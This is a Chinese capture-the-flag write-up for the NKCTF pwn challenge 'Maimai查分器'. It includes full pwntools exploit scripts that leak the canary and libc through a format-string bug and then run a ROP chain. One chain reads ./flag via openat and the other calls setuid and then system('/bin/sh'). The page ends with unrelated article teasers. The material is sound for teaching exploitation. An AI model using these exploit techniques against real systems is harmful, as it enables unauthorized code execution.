NKCTF--pwn--Maimai查分器

NKCTF–pwn–Maimai查分器
  1. Maimai查分器

    保护全开

    存在格式化字符串漏洞

    第一步:先测速率,输入15.0 SSS+ 50次获得最高速率
    在这里插入图片描述

sl(b'1')
#debug()
for i in range(50):
    sl(b'15.0 SSS+')

在这里插入图片描述

然后利用格式化字符串去泄露,本来想一口气全部泄露的,但是只有8个字节,那就分两次

然后打ret2libc即可

本地通了,但是不知道为啥远程通不了
在这里插入图片描述

怀疑可能远程的内部程序偏移不同,用-1到-8,+1到+8试,结果到+4的时候,欸?(后来发现是第二个payload里的4个A给输进去了,不知道为什么我本地不会这么输进去,远程却会()不过当时确实应该好好看看打印出来的东西,确实多了4个A)
在这里插入图片描述

但是没有权限,syscall禁用了open,所以用libc里的openat来读写

在这里插入图片描述

这里出现了好多问题,因为一次只能read0x80字节,本来尝试泄露返回地址,然后多次回转,结果中间会崩溃。

转换思路:栈溢出后自行用一个read,设置特别大的字节,由于想用orw嘛,就泄露了栈的地址,同时也可以作为这个read的地址。往栈上写./flag\x00\x00的名字,然后再用read来写orw。将两次的联合到一起。

payload = b'./flag\x00\x00'+b'A'*(0x30-8-8)+p64(canary)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(stack_addr+0x80)+p64(pop_rdx_rbx)+p64(0x200)*2+p64(read_addr)+p64(pop_rdi)
payload +=p64(0xffffff9c)+p64(pop_rsi)+p64(stack_addr)+p64(pop_rdx_rbx)+p64(0)*2+p64(openat_addr)
payload +=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x200)+p64(pop_rdx_rbx)+p64(0x30)*2+p64(read_addr)
payload +=p64(pop_rdi)+p64(stack_addr+0x200)+p64(puts_addr)

虽然但是,这么做真的好麻烦好麻烦好麻烦。另外:突然发现那里又不用+4了???(不知道是不是修复了还是我的问题)没加是因为我本地之前正常不用+,然后本地调完忘了改,现在突然发现。。。

对了,而且openat的参数不知道为什么第一个是0xffffff9c???不是这个都不行,关于我怎么知道的呢?

自己编译了一个看了看🐶,让gpt给写的用openat打开一个文件

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    int fd = openat(AT_FDCWD, "./flag", O_RDONLY);
    
    if (fd == -1) {
        perror("Error opening the file");
        return 1;
    }
    
    // 文件已成功打开,可以根据需要进行读取等操作
    
    close(fd); // 记得关闭文件描述符
    
    return 0;
}

调到对应的位置看
在这里插入图片描述

好吧好吧,总算是做出来一个,没被零封()()

出题人用了setuid来获得这个权限,用system获取shell后ls -la 可以看到这个pwn文件被赋予了s权限(可以setuid)
在这里插入图片描述

在setuid之后再system就可以cat flag 了
在这里插入图片描述

出题人的单独授予题目权限的特殊做法exp:

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./pwn')
p=remote('node.nkctf.yuzhian.com.cn',39213)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()

def debug():
    gdb.attach(p)
    pause(1)

sl(b'1')
#debug()
for i in range(50):
    sl(b'15.0 SSS+')
sl(b'2')
#debug()
sd(b'%7$p')
offset = 0x7f49d9a29d90 - 0x7f49d9a00000
ru('0x')
canary = int(rc(16),16)
print(hex(canary))
sd('xyyr')

sl(b'2')
#debug()
sd(b'%13$p')
ru('0x')
libc_base = int(rc(12),16) - offset
print(hex(libc_base))
sd('xyyr')

libc = ELF('/home/kali/Desktop/libc-2.35.so')
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

pop_rdi = libc_base + 0x000000000002a3e5
pop_ret = libc_base + 0x0000000000029139
pop_rdx_rbx = libc_base + 0x00000000000904a9
pop_rsi = libc_base + 0x000000000002be51
setuid_addr = libc_base + libc.sym['setuid']
sl(b'2')
sd(b'xyyrxyyr')
rl()
payload= b"A"*(0x30-8)+p64(canary)*2+p64(pop_rdi)+p64(0)+p64(setuid_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
sd(payload)
p.interactive()

  • 另外关于openat,我看别人好像没有给rdi这个特殊的值,但是不知道为什么我按照不给的话输出不出来
    在这里插入图片描述

繁杂且麻烦且中间之前步骤有的需要但后面改的思路不需要的地址还存在的麻烦(但是第一的大佬也是这么做的,这个通用)exp:

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./pwn')
p=remote('node.nkctf.yuzhian.com.cn',39727)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()

def debug():
    gdb.attach(p)
    pause(1)

sl(b'1')
#debug()
for i in range(50):
    sl(b'15.0 SSS+')
sl(b'2')
#debug()
sd(b'%7$p')
offset = 0x7f49d9a29d90 - 0x7f49d9a00000
ru('0x')
canary = int(rc(16),16)
print(hex(canary))
sd('xyyr')

sl(b'2')
#debug()
sd(b'%13$p')
ru('0x')
libc_base = int(rc(12),16) - offset
print(hex(libc_base))
sd('xyyr')

libc = ELF('/home/kali/Desktop/libc-2.35.so')
#system_addr = libc_base + libc.sym['system']
#bin_sh = libc_base + next(libc.search(b'/bin/sh'))

pop_rdi = libc_base + 0x000000000002a3e5
pop_ret = libc_base + 0x0000000000029139
pop_rdx_rbx = libc_base + 0x00000000000904a9
pop_rsi = libc_base + 0x000000000002be51
openat_addr = libc_base + libc.sym['openat']
read_addr = libc_base +libc.sym['read']
puts_addr = libc_base +libc.sym['puts']

#debug()
sl(b'2')
#debug()
sd(b'%8$p')
ru('0x')

stack_addr = int(rc(12),16)-0x70
#print(hex(stack))
sd(b'xyyr')

sl(b'2')
sd(b'%9$p')
ru('0x')
ret_addr = int(rc(12),16)
print(hex(ret_addr))

payload = b'./flag\x00\x00'+b'A'*(0x30-8-8)+p64(canary)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(stack_addr+0x80)+p64(pop_rdx_rbx)+p64(0x200)*2+p64(read_addr)+p64(pop_rdi)
payload +=p64(0xffffff9c)+p64(pop_rsi)+p64(stack_addr)+p64(pop_rdx_rbx)+p64(0)*2+p64(openat_addr)
payload +=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x200)+p64(pop_rdx_rbx)+p64(0x30)*2+p64(read_addr)
payload +=p64(pop_rdi)+p64(stack_addr+0x200)+p64(puts_addr)
#debug()
sd(payload)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/487133.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【ARXIV2402】MambaIR

这个工作首次将 Mamba 引入到图像修复任务&#xff0c;关于为什么 Mamba 可以用于图像修复&#xff0c;作者有非常详细的解释&#xff1a;一路向北&#xff1a;性能超越SwinIR&#xff01;MambaIR: 基于Mamba的图像复原基准模型 作者认为Mamba可以理解为RNN和CNN的结合&#xf…

链动2+1模式 完全合法合规 不存在传销问题!!

在商业经营中&#xff0c;营销策略的巧妙运用对于提升产品销量和扩大品牌影响力至关重要。然而&#xff0c;企业在制定和执行营销策略时&#xff0c;必须严格遵循法律法规&#xff0c;以免陷入法律风险。本文将着重探讨链动21模式的法律要素&#xff0c;以论证其合规性。 一、链…

React函数组件Hook

问题: 相对于类组件, 函数组件的编码更简单, 效率也更高, 但函数组件不能有state (旧版) 解决: React 16.8版本设计了一套新的语法来让函数组件也可以有state Hook 是 React 16.8 的新增特性。它可以让你在不编写 class 的情况下使用 state 以及其他的 React 特性 Hook也叫钩子…

python的基本介绍以及安装教程

前言&#xff1a; 今天&#xff0c;我将给大家讲解关于python的基本知识&#xff0c;让大家对其有个基本的认识并且附上相应的安装教程以供大家参考。接下来&#xff0c;我们正式进入今天的文章&#xff01;&#xff01;&#xff01; 目录 前言 &#xff08;一&#xff09;P…

6、运行时数据区

Java虚拟机在运行Java程序过程中管理的内存区域&#xff0c;称之为运行时数据区。《Java虚拟机规范》中规定了每一部分的作用。 3.1 程序计数器 程序计数器&#xff08;Program Counter Register&#xff09;也叫PC寄存器&#xff0c;每个线程会通过程序计数器记录当前要执行的…

泰山派开发环境安装及SDK编译

泰山派开发环境安装及SDK编译 1、安装虚拟机、VMware2、下载必要库3、开启ssh4、查看网络5、安装samba 共享文件6、安装git 和 repo7、安装 python2 / python38、安装whiptail9、上传文件至 ubantu10、安装编译环境11、选择板级配置12、编译内核13、全编译14、固件打包15、生成…

轨迹预测后处理之非极大值抑制(NMS)

非极大值抑制是图像处理里面的一种算法&#xff08;比如边缘检测会使用到&#xff09; 轨迹预测这里借鉴了其思想&#xff0c;比如说对于某个场景中的某辆车&#xff0c;我们使用模型预测 64 条轨迹或者更多&#xff0c;以很好地捕获多模态性&#xff0c;同时每条轨迹对应一个…

React Developer Tools安装

问题描述 在react开发中&#xff0c;需要插件来帮助我们开发&#xff0c;例如&#xff1a; 方法 &#xff08;可能需要魔法 进去后搜索&#xff1a; 点击下载即可

QT 界面2.1

#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {this->setWindowIcon(QIcon(":/Logo/1bc87d9b4c1ea878d5e0845257a06f7f (1).jpg")); // 图标this->setWindowTitle(&…

计算机网络常见题(持续更新中~)

1 描述一下HTTP和HTTPS的区别 2 Cookie和Session有什么区别 3 如果没有Cookie,Session还能进行身份验证吗&#xff1f; 4 BOI,NIO,AIO分别是什么 5 Netty的线程模型是怎么样的 6 Netty是什么&#xff1f;和Tomcat有什么区别&#xff0c;特点是什么&#xff1f; 7 TCP的三次…

ElasticSearch文档批量操作[ES系列] - 第503篇

历史文章&#xff08;文章累计500&#xff09; 《国内最全的Spring Boot系列之一》 《国内最全的Spring Boot系列之二》 《国内最全的Spring Boot系列之三》 《国内最全的Spring Boot系列之四》 《国内最全的Spring Boot系列之五》 《国内最全的Spring Boot系列之六》 《…

Java 算法和数据结构 答案整理,最新面试题

Java中如何使用动态规划求解背包问题&#xff1f; 1、定义子问题&#xff1a; 首先确定动态规划状态&#xff0c;通常以物品数量和背包容量为变量定义子问题&#xff0c;例如dp[i][j]表示前i件物品放入容量为j的背包所能获得的最大价值。 2、确定状态转移方程&#xff1a; 基…

PTA L2-031 深入虎穴 dfs与bfs版

著名的王牌间谍 007 需要执行一次任务&#xff0c;获取敌方的机密情报。已知情报藏在一个地下迷宫里&#xff0c;迷宫只有一个入口&#xff0c;里面有很多条通路&#xff0c;每条路通向一扇门。每一扇门背后或者是一个房间&#xff0c;或者又有很多条路&#xff0c;同样是每条路…

线程和进程有什么区别?

1、典型回答 进程&#xff08;Process&#xff09;和线程&#xff08;Thread&#xff09;是操作系统中两个重要的概念&#xff0c;都是用来执行任务的&#xff0c;它们的定义如下&#xff1a; 进程是指计算机中正在运行的程序的实例。每个进程都有自己的地址空间、内存、文件…

软件测试|Python random模块,超乎想象的强大

Python的random模块是一个非常强大的工具&#xff0c;用于生成随机数和随机选择。它提供了许多函数和方法&#xff0c;可以满足各种随机化需求。本文将介绍random模块的基本功能和常见用法&#xff0c;以帮助读者更好地理解和利用这个模块。 返回整数 random.randange() 语法…

软件测试|time模块的用法,你都掌握了吗?

前言 在Python编程中&#xff0c;时间是一个关键的概念&#xff0c;涉及到计时、延时、日期时间操作等。Python的time模块提供了处理时间相关操作的函数和方法。本文将详细介绍time模块的各种功能和用法&#xff0c;帮助您更好地理解和应用时间操作。 时间戳&#xff08;Time…

瑞吉外卖实战学习--项目搭建

瑞吉外卖实战学习 前言1、创建springBoot 项目&#xff0c;并引用相关依赖2、配置数据库3、通过注解检测项目是否可以启动成功4、配置前端页面的静态映射4.1 前端文件放置的位置4.2 由于存放的位置并不是默认的文件中&#xff0c;需要将这些文件静态映射4.3 检测静态文件是否可…

这回轮到鸿蒙禁用安卓了!!!

1月18日&#xff0c;鸿蒙生态千帆仪式上&#xff0c;华为正式宣布了HarmonyOS NEXT&#xff08;下简称鸿蒙星河版或纯血鸿蒙&#xff09;开发者预览已向开发者开放申请&#xff0c;纯血鸿蒙开始走向普及阶段。伴随着不再兼容安卓的纯血鸿蒙铺开&#xff0c;鸿蒙走进了运营属于自…

【OpenModelica】2 交互式使用OpenModelica-上篇

2 交互式使用OpenModelica 文章目录 2 交互式使用OpenModelica前言一、开始使用交互式对话二、使用交互式的模式三、尝试使用冒泡排序算法四、使用cd()指令 前言 以下是在OpenModelica环境中使用交互式会话处理程序的交互式会话。称为OMShell-OpenModelica Shell。这些示例中的…

return code 1 from org.apache.hadoop.hive.ql.ddl.DDLTask

Bug信息 Error: Error while compiling statement: FAILED: Execution Error, return code 1 from org.apache.hadoop.hive.ql.ddl.DDLTask (state=08S01,code=1)Bug产生的代码 修复hive表分区: msck repair table xxxBug原因排查 分区数量过大 这个是网上查看的说如果一次…